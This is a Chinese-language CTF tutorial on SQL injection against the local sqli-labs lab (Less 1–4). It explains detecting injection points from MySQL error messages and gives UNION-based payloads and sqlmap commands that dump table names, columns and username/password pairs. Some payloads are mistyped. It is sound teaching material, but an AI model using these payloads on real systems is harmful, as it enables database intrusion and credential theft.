欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTFweb篇-SQL注入(一)

程序员文章站 2022-05-15 09:59:35
...

基本函数和知识

基本数据库information_schema

information_schema是一个数据库,放的是一些视图,在SQL文件中找不到。
其中具有表schemata(数据库名)、tables(表名)、columns(列名获字段名)
schemata表中有schema_name来存储数据库名
在tables表中,table_schema和table_name来存储数据库名和表名
在columns表中,有table_schema、table_name、column_name

基本函数

user()

查看当前Mysql登录用户名

database()

查看当前使用Mysql数据库名

version()

查看当前Mysql版本

group_concat()

group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
将同一分组分组的要连接的字段放在同一行
默认以逗号隔开
不加group by就是将所有的看作一组

limit关键字

limit m,n:只显示m到m+n行数据

常用注释

注释符

#:单行注释
–空格:单行注释(空格一般会被浏览器吃掉,最好用%20)
/* */:多行注释

内联注释(只有Mysql可识别)

/*! */

SQL注入类型

数字型

select * from table where id = 用户输入id

字符型

select * from table where id = ‘用户输入id’

检测SQL注入点

通过在URL中修改对应的ID值为正常数字、大数字、字符(单引号、双引号、双单引号、双双引号)、\来探测URL是否存在注入点

Sqli-Lab less1~4,GET基于报错的SQL注入

Less1

CTFweb篇-SQL注入(一)
输入id=1
CTFweb篇-SQL注入(一)
显示出了用户名和密码
接着不断更改id,发现在15时没了,说明该数据库只有15个用户
接下来进行注入点判断,在id值后面加’
CTFweb篇-SQL注入(一)
报错:’‘1’’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>‘1’’ LIMIT 0,1
证明这里会对输入的id自动在两边加入单引号:

select userName,passWord from table where ID = 'ID值' limit 0,1

绕过方法:
传入?id=1’–20%---------->将后面自动加的’给注释掉

Less2

传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
‘’ LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>1’ LIMIT 0,1
证明这里输入的ID就是数值:

select userName,passWord from table where ID = ID值 limit 0,1

绕过方法:
传入?id=1–20%’

Less3

传入id=1’
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
‘‘1’’) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>'1") LIMIT 0,1
证明这里输入的id值会在两边加(‘ID值’):

select userName,passWord from table where ID = ('ID值') limit 0,1

绕过方法:
传入?id=1’)–%20

Less4

传入参数id=1’
CTFweb篇-SQL注入(一)
正常显示
传入id=1"
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
‘“1"”) LIMIT 0,1’--------------->去除两边报错信息加的双单引号------------>“1"”) LIMIT 0,1
证明会在传入的id值两边加了(“id值”)

select userName,passWord from table where ID = ("ID值") limit 0,1

为什么会在传入1’,1)等这些参数值时仍然不报错?
因为在SQL语法中双引号内的这些符号都被看做普通字符串,并且可以将其中的数字提出来,只有加双引号或者转义字符才可以进行对应的转换。
绕过方法:
?id=1")–%20

常用的方法

利用order by判断字段数

字段数就是属性列数
因为有几个属性才可以用几个属性去排序

Less1的利用

利用less1 的union联合user()、version()、database()函数进行插入:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1  UNION SELECT 1,user(),version()--%20

CTFweb篇-SQL注入(一)
查看到了用户名和版本
查看table:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where  table_schema=database()--%20

information_schema.tables:information_schema数据库中的tables表
table_schema(数据库名):tables表中的列名。
查看列名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where  table_name='users'--%20

CTFweb篇-SQL注入(一)
查出来了所有的列名
查看所有用户名和密码:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' UNION SELECT -1,group_concat(username,':',password),3 from users--%20

CTFweb篇-SQL注入(一)

利用sqlmap进行探寻

1、查数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --batch --dbs

CTFweb篇-SQL注入(一)
–batch:进行默认设置
–dbs:返回所有数据库
2、查所有表
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables --batch
CTFweb篇-SQL注入(一)
-D:数据库
–tables:返回指定数据库的所有表
3、查指定表中的所有列
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns --batch
CTFweb篇-SQL注入(一)
-T:指定表
–columns:返回所有指定表所有列
4、显示表中内容
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump --batch
CTFweb篇-SQL注入(一)
–dump:就是显示表中数据

总之sqlmap功能很强大